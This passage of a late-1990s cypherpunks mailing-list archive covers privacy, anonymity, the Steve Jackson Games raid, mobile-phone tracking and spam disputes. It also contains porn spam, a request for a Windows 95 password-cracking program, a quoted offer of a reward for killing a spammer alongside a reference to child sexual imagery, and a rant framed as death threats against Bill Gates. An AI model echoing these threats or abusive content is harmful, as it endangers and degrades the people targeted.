to further freedom of speech while I have seen NO contribution from you.
My question arose out of curiousity not a maliscious intend.
Do NOT count on me in your compaign.

Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ian@witcapital.com
Date: Wed, 31 Dec 1997 08:11:22 +0800
To: cypherpunks@toad.com
Subject: IPO Alert: King Pharmaceutical available through Wit Capital
Message-ID: <199712302358.PAA20038@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Wit Capital Corporation is pleased to announce that we are able to provide participation in the following public offering as described below:

Issuer: King Pharmaceutical, an integrated pharmaceutical company that manufactures, markets and sells branded and generic prescription pharmaceutical products.

Security:  Common Stock

Expected Size of Offering: 8,919,000 shares

Expected Price Range: $16.50 to $19.50 per share

Lead Underwriters: LEHMAN BROTHERS

If you think you may be interested in this Public Offering available through Wit Capital, please visit http://www.witcapital.com or call (888) 4-WIT-CAP.

You can view, print or download the Preliminary Prospectus from the New Issues section of our web site.  To purchase shares, you must first open an account, which you can do online.

Investing in public offerings is speculative, involves a high degree of risk and may not be appropriate for every investor.  As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance.  To learn more about the risks of investing in public offerings please visit the New Issues section of our web site.

A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE 
SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.  THESE 
SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME 
THE REGISTRATION STATEMENT BECOMES EFFECTIVE.  THIS COMMUNICATION SHALL NOT 
CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL 
THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, 
SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION 
UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.

NO OFFER TO BUY THE SECURITIES CAN BE ACCEPTED AND NO PART OF THE PURCHASE 
PRICE CAN BE RECEIVED UNTIL THE REGISTRATION STATEMENT BECOMES EFFECTIVE, AND 
ANY SUCH OFFER MAY BE WITHDRAWN AND REVOKED WITHOUT OBLIGATION OR 
COMMITMENT OF ANY KIND, AT ANY TIME PRIOR TO NOTICE OF ITS ACCEPTANCE GIVEN 
AFTER THE EFFECTIVE DATE.  AN INDICATION OF INTEREST IN RESPONSE TO THIS RESPONSE TO THIS ADVERTISEMENT WILL INVOLVE NO OBLIGATION OR COMMITMENT OF ANY KIND.

A broker dealer or its agent may only transact business in a state after licensure or satisfying qualification requirements of that state. If you reside in a particular state that Wit Capital is not registered in as a 
broker dealer or has registered agents in, this message is not directed to you. Wit Capital will not open a brokerage account or sell securities to you until such time registration requirements in your home state are fulfilled.  Thank you.

Wit Capital Corporation
Member NASD/SIPC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raico Rosenbeg" <raico@hello-net.es>
Date: Wed, 31 Dec 1997 08:55:30 +0800
To: <cypherpunks@toad.com>
Subject: win 95 pwl crack
Message-ID: <01bd1584$24fbf3c0$d66f4cc3@raico>
MIME-Version: 1.0
Content-Type: text/plain




i have tried to crack the win 95 pwl for ages but to no avail, 
i have used glide but it spews out lots of data on the screen. Please could you 
send the programme that you made.
thanx in advance
raico.


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wayne clerke <wclerke@emirates.net.ae>
Date: Wed, 31 Dec 1997 05:40:07 +0800
To: "'cypherpunks@rigel.cyberpass.net>
Subject: RE: Anonymous IRC (was "Cypherpunks IRC Christmas Eve Party")
Message-ID: <01BD158C.4FCF91D0@wclerke@emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain



On Tuesday, December 30, 1997 7:56 AM, Mark Hedges [SMTP:hedges@rigel.cyberpass.net] wrote:
> 
> 
> We found IRC users to be so involved in petty information wars --
> ping floods, malicious prank hacking, and the like -- that we directed
> policy against use of IRC from the anonymous shell accounts at CyberPass.
> 
> If IRC users weren't so easily lulled by the tempation to crash a server
> or run malicious bots or just plain irritate other people for fun, and
> if they would gang up and kick out people who did that, then perhaps we'd
> switch that back on.
> 
> They were just too much overhead. Everyone else seems pretty nice, really,
> as far as the system goes. They're all self-interested in keeping the
> anonymous publishing and so on going, so the peace keeps itself.


What's the reason behind the policy direction against the use of personal web proxies running in a (paid for) shell account? 
Seems like less risk than you already accept anyway. Something I've missed?

> 
> Mark Hedges
> Infonex and Anonymizer
> 
> 


Mail: <a href= mailto:wclerke@emirates.net.ae >Wayne Clerke</a>
PGP key id: AEB2546D  F/P: D663D11EDA19D74F5032DC7EE001B702
PGP key id: 57AA1C10  F/P: 9926BF8918B7EB3623A7 AFA46572C5B857AA1C10
PGP mail welcome.			Voice: +971 506 43 4853
If you're not living on the edge, you're taking up too much space.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 31 Dec 1997 08:59:51 +0800
To: cypherpunks@cyberpass.net
Subject: ACM
Message-ID: <199712310045.BAA05361@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone with a fast network link want to suck down as many
documents from acm.org as possible and stick them on an 
Eternity server before they close their free trial? :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "stefan d. wolf" <sw@cryptosoft.com>
Date: Wed, 31 Dec 1997 19:05:28 +0800
To: cypherpunks@toad.com
Subject: info
Message-ID: <34AA20E3.5D2E@cryptosoft.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "stefan d. wolf" <sw@cryptosoft.com>
Date: Wed, 31 Dec 1997 19:03:32 +0800
To: cypherpunks@cyberpass.net
Subject: info
Message-ID: <34AA217F.21A1@cryptosoft.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka-help@eureka.abc-web.com
Date: Wed, 31 Dec 1997 22:10:38 +0800
To: cypherpunks@toad.com
Subject: Successful Subscription
Message-ID: <883576762.28936.ezmlm@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain



WELCOME TO EUREKA!
==================

Congratulations,  your free subscription to the Eureka!
newsletter is now set up. We hope you enjoy every copy.
As promised,  while you wait  for your first newsletter
here are the links to  the FREE videos and FREE photos!

FREE hardcore videos ........... http://207.168.184.26/
FREE hardcore photos .... http://209.50.232.36/desires/

- Eureka! *FREE porn in your email!*





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Thu, 1 Jan 1998 07:23:41 +0800
To: cypherpunks@toad.com
Subject: Re: [Anon newsgroup posting "censorship"]
In-Reply-To: <db07d071dcdf9a13e505c3d6c9dc7389@anon.efga.org>
Message-ID: <l03020901b0d02e107212@[209.130.134.60]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[snip]

>My cancelled Usenet article offered a reward for killing the spammer:

[snip]

>This is fucking censorship!  I'm putting the notice of the CAUCE reward on my
>web home page at [snip], right next to the pictures of the
>pre-teen kids screwing.  Fuck you, Zorch, you're next after C, P, and G Lewis.

Ok, tell you what.

Let's post YOUR address, YOUR phone number, and that of YOUR family.
We'll post that information to every newsgroup and mailing list we
can think of.  We'll offer a $50,000 AMERICAN reward for the quick
extermination of you and your family.  And if some kook takes us up
on it, we might even be good enough to warn you.

It's not censorship, you idiot.  The dude who clipped out your post
was trying to keep some fucking psycho from killing somebody else for
some imagined (or not, who knows?) $50k reward.

It's common sense, in other words.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ***<REPLY TO: sheriff@speakeasy.org>***
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.  Either
that, or head for pgp.ai.mit.edu on the WWW and search
for my e-mail address.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


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Version: PGPfreeware 5.0 for non-commercial use <http://www.pgp.com>
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4vyR97cBhMmo5hzAaiP3LtF9cKrQmbqaDBSjwhlZPrK066V+tosKB9jU92kNsWia
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CeSe2+akD7ERGffXReNRxY6XceoYb8zCzYtDmiymZ2yYLnssMdAvVw==
=eEsg
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shane_Nifong@s2systems.com
Date: Thu, 1 Jan 1998 03:27:40 +0800
To: <cypherpunks@cyberpass.net>
Subject: Government vs. Steve Jackson
Message-ID: <c=US%a=_%p=stratus%l=ATLMAIL-971231192855Z-6154@misnt08-t.mis.stratus.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Would someone summarize this case for me? Someone told me that the 
government could seize your computer without a warrant or anything.  
They said that it (computer) was not covered under the privacy act.  
True?

Gbr
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNKqcAKxZ8xbjyDtBEQLHfwCfT2i9iyikoqpW5iD7NfFEgUCdhC0Anj9A
LftQrD2heg381rT2noUFubuy
=HCl6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 1 Jan 1998 04:40:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Government vs. Steve Jackson (fwd)
Message-ID: <199712312100.PAA09353@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Shane_Nifong@s2systems.com
> Subject: Government vs. Steve Jackson
> Date: Wed, 31 Dec 1997 14:28:55 -0500

> Would someone summarize this case for me? Someone told me that the 
> government could seize your computer without a warrant or anything.  
> They said that it (computer) was not covered under the privacy act.  
> True?

There was an employee of SJG, Lloyd Blankenship (aka The Mentor), who wrote
material for SJG and helped manage the Illuminati BBS for SJG. Lloyd was
also one of the lead members of a group called Legion of Doom (LoD) and ran
an underground BBS called Phoenix Project. Members of LoD hacked many
systems and were well known by many in various agencies and was in the
middle of a 'turf' war with Masters of Destruction (MoD) based in Georgia.
Also a member of LoD was Erik Bloodaxe who also lived here in Austin.
Because of various shennanigans various law enforcement agencies, initialy
tripped off by Operation Sun Devil (not related directly to the SJG bust),
were interestedin Lloyd & Erik's activities and particularly interested in
the GURPS Cyberpunk module that Lloyd was writing. In an attempt to shut
down the Phoenix Project and put a hush on the GURPS module, which they
claimed was a 'handbook to hack', they obtained a sealed warrant for Lloyd,
Erik, and about a dozen other members around the country as well as material
at SJG. One Sunday morning in 1990 they arrested Lloyd and several others as
well as went to SJG and attempted to enter. Nobody could be found on a
Sunday morning with a key so they kicked the door down. In the process of
confiscating the GURPS material they also took the Illuminati BBS (run on an
old Apple II) as well as answering machines, dictation tapes, etc. After
several years of legal hassle Lloyd, Erik, & SJG were cleared and *most* of
their property was returned. One of the charges against Erik at least for a
short time was 'theft of a video game'. Seems he and I had bought various
stand-up arcade video games (he had PacMan I believe and I Stargate) from a
3rd party here in Austin (Rick Wallingford of Wallingford Electronics) and
because there was no receipt and Rick wouldn't produce one they thougth it
might be stolen. Both Erik and Lloyd knew they were under observation (along
with many others in LoD and simple bystanders) because of a bar-b-q at
Rick's about a month before the bust. A couple of undercover cops were noted
watching the bar-b-q because they would get out of their car down the street
and walk around with their jackets off - hence displaying their guns. Lloyd
also found out about phone taps because the weekend before he was busted he
and I were talking on the phone and he made a comment about burning approx.
50 lbs. of printouts. When he was busted the SS dilligently took all the
ashes in his fireplace. When Erik was busted the only computer equipment in
his apartment was a dumb terminal and a 2400 baud modem. Even though I was a
user of Phoenix Project and helped work out several hardware problems in
electronics I was never directly involved with LoD nor was I ever contacted
by the SS. I never inquired into whether my phone was tapped because of
Lloyd's paper incident or if it was just his phone.

Last time I talked to Lloyd a couple of years ago he still hadn't received
all his computers and disks back. Erik did two HohoCon's here in Austin but
because of various shennanigans (like cracking the Hotel 8 computer at
Highland Mall) the show is pretty much verboten here in Austin. Lloyd went
back to school in San Marcos and was working on a comp sci degree. I haven't
talked to either Erik or Lloyd in over two years so I don't know what they
are up to now.

The police can't Constitutionaly seize anything without a warrant,
unfortunately the courts don't see it that way all the time. Technicaly if
anyone but you also uses your computer and the police wish to seize it they
must produce search warrants for the other 3rd party work, considerd a
'work in progress', on that computer. If they don't and they do deny the 3rd
party access to that material in the process of their case then the 3rd
party has the right to sue for damages at something like $1k/day. It's one
of the reasons that I have multiple users on SSZ and support several mailing
lists like this one.

That's what I know about it.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 1 Jan 1998 04:11:16 +0800
To: cypherpunks@cyberpass.net
Subject: IRC Internet chat with Electronic Frontiers
Message-ID: <3.0.3.32.19971231150646.030ddfb8@rboc.net>
MIME-Version: 1.0
Content-Type: text/plain



There will be a series of IRC internet chats with Electronic Frontiers.  We
wish to address two main problems.  The Electronic Frontiers movement is
misunderstood by a lot of people, and there is not enough communication
between the independent EF organizations.

The idea was sparked by the recent Cypherpunks Christmas Eve chat.  Thanks
for the idea.  The members of the cypherpunks mail list are invited to our
upcoming internet chats.  Dates and info are below.  

The Electronic Frontiers movement is several independent organizations that
share a common thread to their name.  Each group speaks for themselves and
are not associated with each other.  The various EF organizations have no
association with the group called EFF.  We are grassroots organizations of
concerned citizens of our geographic areas, volunteering our time and
energy.  EF organizations exist in several US states and in different
countries around the world.  EF organizations have been responsible for
activities such as winning court cases like the Georgia Internet Anonymity
and web linking lawsuit, and the anti-spoofing spam lawsuit in Texas
(flowers.com).

Of particular interest to Cypherpunks is the fact that EFGA hosts a variety
of cypherpunk technologies, including a Cypherpunk Type-1 remailer,
nymserver, and mixmaster remailer.  We also have a PGP keyserver.  Recently
we created an FTP archive of privacy software.  So far this has been front
ends for remailers and PGP software that various software authors have sent
us to host.

All you need is an IRC client, and to log onto EFnet.  If you have
questions on how to do this, ask the list.  I'm a newbie with IRC and can't
help that much.  The first chat is Thursday, tomorrow, New Years day at
7:00 pm New York time.

-------------

There will be an IRC internet chat session for Electronic Frontiers.  More
info can be found at http://www.efga.org/about/meeting.html

Get out your IRC client and visit us on EFnet IRC in the
#ElectronicFrontiers channel.  There will be a chat session on 

  * Thursday, January 1, 1998 at 7:00pm EST 
    hosted by Robert Costner of Electronic Frontiers Georgia.

  * Saturday, January 3, 1998 at 3:00pm EST
    hosted by Scott Brower of Electronic Frontiers Florida.

  * To be announced
    hosted by Jon Lebkowsky of EF-Texas

These will be our first chat sessions.  After we see how this goes, we will
try to setup something on a regular basis.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 1 Jan 1998 04:46:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: IRC Internet chat with Electronic Frontiers (fwd)
Message-ID: <199712312107.PAA09410@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 31 Dec 1997 15:06:46 -0500
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: IRC Internet chat with Electronic Frontiers

>   * To be announced
>     hosted by Jon Lebkowsky of EF-Texas

Woah Nelly, this is the first I have heard of EF-Tx, got any contact info?


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 1 Jan 1998 04:57:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: AOL spam showdown brewing... [CNN]
Message-ID: <199712312119.PAA09523@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                           AOL SPAM DISPUTE ESCALATES
>                                        
>   Business group threatens to release millions of e-mail addresses
>   
>      * Group says AOL is anti-small business
>      * AOL calls plan 'cyber-terrorism'
>      * Spam spat
>      * Related stories and sites
>        
>      December 31, 1997
>      Web posted at: 3:15 p.m. EST (2015 GMT)
>      
>      CHINO, California (CNN) -- An Internet business group and the
>      world's biggest Internet service provider, America Online, were
>      poised Wednesday for a legal showdown in a dispute over pitching
>      products and services to AOL users via e-mail.
>      
>      If AOL doesn't back down from its opposition to the National
>      Organization of Internet Commerce (NOIC), the California-based group
>      threatens to put the e-mail addresses of millions of AOL users on
>      its Web site, making them available for downloading by any business,
>      group or individual seeking to make mass electronic mailing
>      
>      NOIC, a non-profit trade organization representing small businesses
>      and bulk-mailers, originally set Thursday as the day it would reveal
>      the e-mail addresses of 1 million of AOL's 10 million customers.
>      
>      On Wednesday, however, NOIC escalated the threat, announcing it
>      would release 5 million AOL e-mail addresses on January 8.
>      
>      AOL vowed to fight NOIC in court, if necessary, and said it hoped
>      the group would reconsider.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Thu, 1 Jan 1998 09:18:41 +0800
To: The Sheriff <cypherpunks@toad.com
Subject: Re: [Anon newsgroup posting "censorship"]
In-Reply-To: <db07d071dcdf9a13e505c3d6c9dc7389@anon.efga.org>
Message-ID: <v03102807b0d0992e8d2e@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:19 PM -0400 12/31/97, The Sheriff wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>[snip]
>
>>My cancelled Usenet article offered a reward for killing the spammer:
>
>[snip]
>
>>This is fucking censorship!  I'm putting the notice of the CAUCE reward on my
>>web home page at [snip], right next to the pictures of the
>>pre-teen kids screwing.  Fuck you, Zorch, you're next after C, P, and G Lewis.
>
>Ok, tell you what.
>
>Let's post YOUR address, YOUR phone number, and that of YOUR family.
>We'll post that information to every newsgroup and mailing list we
>can think of.  We'll offer a $50,000 AMERICAN reward for the quick
>extermination of you and your family.  And if some kook takes us up
>on it, we might even be good enough to warn you.
>
>It's not censorship, you idiot.  The dude who clipped out your post
>was trying to keep some fucking psycho from killing somebody else for
>some imagined (or not, who knows?) $50k reward.
>
>It's common sense, in other words.

Here, here.  Making threatening statements or calling for someone's harm are not to be tolerated.  However, predicting someone's continued good health (as a psychic) and wagering on that prediction against other (psychics) who have different predictions is a contest of skill and not a threat or illegal in any way, even if these wagers, psychics and payouts are anonymous.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 2 Jan 1998 03:14:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mobile phones used as trackers
Message-ID: <v03102808b0d0b5632db7@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>                Mobile phones used as trackers 
>                BY MICHAEL EVANS AND NIGEL HAWKES 
>
>  MOBILE PHONES can be used as tracking devices to
>  pinpoint users within a few hundred yards, according to a
>  report yesterday. 
>
>  Sonntags Zeitung, published in Zurich, said Swiss police
>  had been secretly tracking mobile phone users through a
>  telephone company computer. 
>
>  "Swisscom [the state-owned telephone company] has
>  stored data on the movements of more than a million
>  mobile phone users and can call up the location of all its
>  mobile subscribers down to a few hundred metres and
>  going back at least half a year," the paper reports, adding:
>  "When it has to, it can exactly reconstruct, down to the
>  minute, who met whom, where and for how long for a
>  confidential tte--tte." 

Anyone who desires not to be constantly tracked should carry a one-way pager and keep your cell phone turned off.  This way you can return calls when it suits you and from a location of your choosing. In some U.S. localities I understand, it it possible to rent cellphone w/o offering any form of ID, only a deposit to cover the instrument and a prepayment for the airtime  This may be illegal in some EU countries.  To keep someone from correlating your pager info and cellular you'd want your callers to send 'coded' info, rather than phone numbers.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@die.com>
Date: Thu, 1 Jan 1998 09:41:24 +0800
To: cypherpunks@toad.com
Subject: Location Escrow anyone ?
Message-ID: <19971231203351.54993@die.com>
MIME-Version: 1.0
Content-Type: text/plain



	This off another list ...

	More than fair use perhaps, but significant.

--------------------------------------------------------


Tracking of Swiss mobile phone users starts row

Copyright (c) 1997 Reuters 

ZURICH (December 28, 1997 4:12 p.m. EST http://www.nando.net) - Swiss
police have secretly tracked the whereabouts of mobile phone users via a
telephone company computer that records billions of movements going back
more than half a year, a Sunday newspaper reported.

The revelation in the SonntagsZeitung newspaper triggered objections from
politicians and the country's privacy ombudsman about high-tech snooping on
citizens who like the convenience of a mobile phone.

Officials from state telephone company Swisscom confirmed the practice, but
insisted information about mobile customers was only handed out on court
orders.

"Swisscom has stored data on the movements of more than a million mobile
phone users. It can call up the location of all its mobile subscribers down
to a few hundred meters and going back at least half a year," the paper
reported.

"When it has to, it can exactly reconstruct down to the minute who met
whom, where and for how long for a confidential tete-a-tete," it said.

Some 3,000 base stations across the country track the location of mobile
phones as soon as they are switched on, not just when customers are having
conversations, it said.

Prosecutors called the records a wealth of information that helped track
criminals' movements.

"This is a very efficient investigation tool," Renato Walti, an
investigating magistrate in Zurich who specialises in organised crime, was
quoted as telling the paper.

The paper said Swisscom and law-enforcement officials were reluctant to
discuss the records, which were supposed to be secret.

But it quoted Toni Stadelmann, head of Swisscom's mobile phone division, as
saying: "We release the movement profile of mobile telephone customers on a
judge's order."

SonntagsZeitung said there was no legal basis for storing such information.

"I am unaware of any law that would allow the preventative collection of
data for investigative purposes," it quoted Odilo Guntern, the federal
ombudsman for protecting individuals' privacy, as saying.

"Secretly collecting data is highly problematic," added Alexander
Tschaeppat, a judge and member of the lower house of parliament.

Copyright (c) 1997 Nando.net

-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 1 Jan 1998 12:34:04 +0800
To: Dave Emery <die@die.com>
Subject: Re: Location Escrow anyone ?
In-Reply-To: <19971231203351.54993@die.com>
Message-ID: <199801010433.XAA16928@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971231203351.54993@die.com>, on 12/31/97 
   at 10:26 PM, Dave Emery <die@die.com> said:

>ZURICH (December 28, 1997 4:12 p.m. EST http://www.nando.net) - Swiss
>police have secretly tracked the whereabouts of mobile phone users via a
>telephone company computer that records billions of movements going back
>more than half a year, a Sunday newspaper reported.

Don't be fooled that this is a swiss only problem. It's being done here in
Amerika right now.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 1 Jan 1998 12:34:10 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: AOL spam showdown brewing... [CNN]
In-Reply-To: <199712312119.PAA09523@einstein.ssz.com>
Message-ID: <199801010437.XAA16967@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712312119.PAA09523@einstein.ssz.com>, on 12/31/97 
   at 04:19 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>>      CHINO, California (CNN) -- An Internet business group and the
>>      world's biggest Internet service provider, America Online, were
>>      poised Wednesday for a legal showdown in a dispute over pitching
>>      products and services to AOL users via e-mail.

LOL!!! This is almost as entertaining as wathcing the Nut$crape vs.
Mikey$loth fights. No matter who loses everyone else wins!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@sk.sympatico.ca>
Date: Sat, 10 Jan 1998 04:14:47 +0800
To: billg@MICROSOFT.com
Subject: Will Be: DEATH THREAT !!! to Follow... [Currently Is: Janet Reno is not an Indigo Girl...she's just ugly]
Message-ID: <34919641.28BC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



BillyG,
  No doubt world leaders and titans of industry have noticed the 
recent pause in the steady stream of death threats they receive daily,
and are worried about my health, but you're the only one who sent a
"Get Sicker" card...
  Nonetheless, I must put off catching up on my thinly veiled threats
of ChainSaw Justice for a bit longer, in order to address an even more
important concern, namely: "How the hell can fag girls be so cute and
make such great music, when Janet Reno is so fucking butt-ugly and can
only make bizarre, senseless noise?"

  Anyway, when you see the $on Little$ystems and Nut$crape crowd, tell
them that the crazy Canuck who used to roam their hallways screaming,
"Give your software away, you fucking idiots...you'll get filthy fucking
rich!" now says, "Hi...and go fuck yourself."
  It's bad enough that Corporate A$$holes (TM) want me to call a game,
"The MegaCorp Making Money Off Of Amateur Athlete$ Bowl", but when the
fuckers start making Micro$not Ba$hing (TM) a corporate game where the
players wear shirts with little animals where the pocket for your butts
is supposed to be...
  Oil the fucking chainsaw, eh?

  In my last thinly veiled death threat to BadBillyC, I told him to
tell Ms. Justice-Is-Not-Only-BLIND-It's-UGLY-Too that "MICRO$NOT is to
INSLAW...as...ChainSaws are to ButterKnives."
  It had nothing to do with the Indigo Girls CD that woke me up this
morning reminding me of Indio, Indians and INSLAW, and everything to
do with Micro$not Ba$hing (TM) being every bit as sacred as having a
butt on the crapper in the morning. When America can no longer count
on the Little Guy to war against such basic human degradations as Life
Under DOS, then we are doomed--individually and as a nation.

  Which brings me to another rambling point totally unconnected to my
last chain of thought...
  I got to fiddling with the car radio last week and inadvertently
drove past the bar, thus launching the "TRUTHMONGER WORLDWIDE CHAINSAW
RETRIBUTION TOUR." Next thing I know, I'm in goddam British Columbia,
making plans to set a few of the Royal Canadian Mace Police on fire,
pop on down to Seattle try to get all of my Micro$not setup disks 
replaced (why are the setup disks all make out of rice paper?), and set
the final plans for your virtual chainsaw deletion in motion within the
ranks of the Circle of Eunuchs-Redmond Chapter. Next on The LIST (TM)
was stopping in at Tacoma and Portland and ringing a few AP Bells to
bring in the New Year with a pocketful of Ha$hCa$h, and then continuing
my Bombed Blitzkrieg with a Budweiser Battle in the Bay, gathering the
nerve for a frontal assault on Mayonaisse Mountain with A Nuclear Device
To Be Named Later.

  To make a long story short, I woke up on Gomez's doorstep down in
Berzerkeley, with a hangover, a dog, a huge fucking moose bone, the
flu (or perhaps just a touch of The Potato Famine), and no fucking
ChainSaw.
  What is even worse is that I don't seem to be in possession of even
the few meager munitions I always have packed and ready for emergency
situations, but I *do* have some rather vague memories of the last
week that seem to match the newsclippings on my dash in regard to a
trail of ugly little incidents coinciding with the times and dates
on the gas receipts stapled to them.
  At first, I assumed that my inability to recall any details in
regard to several of the incidents was a good sign, but a physical
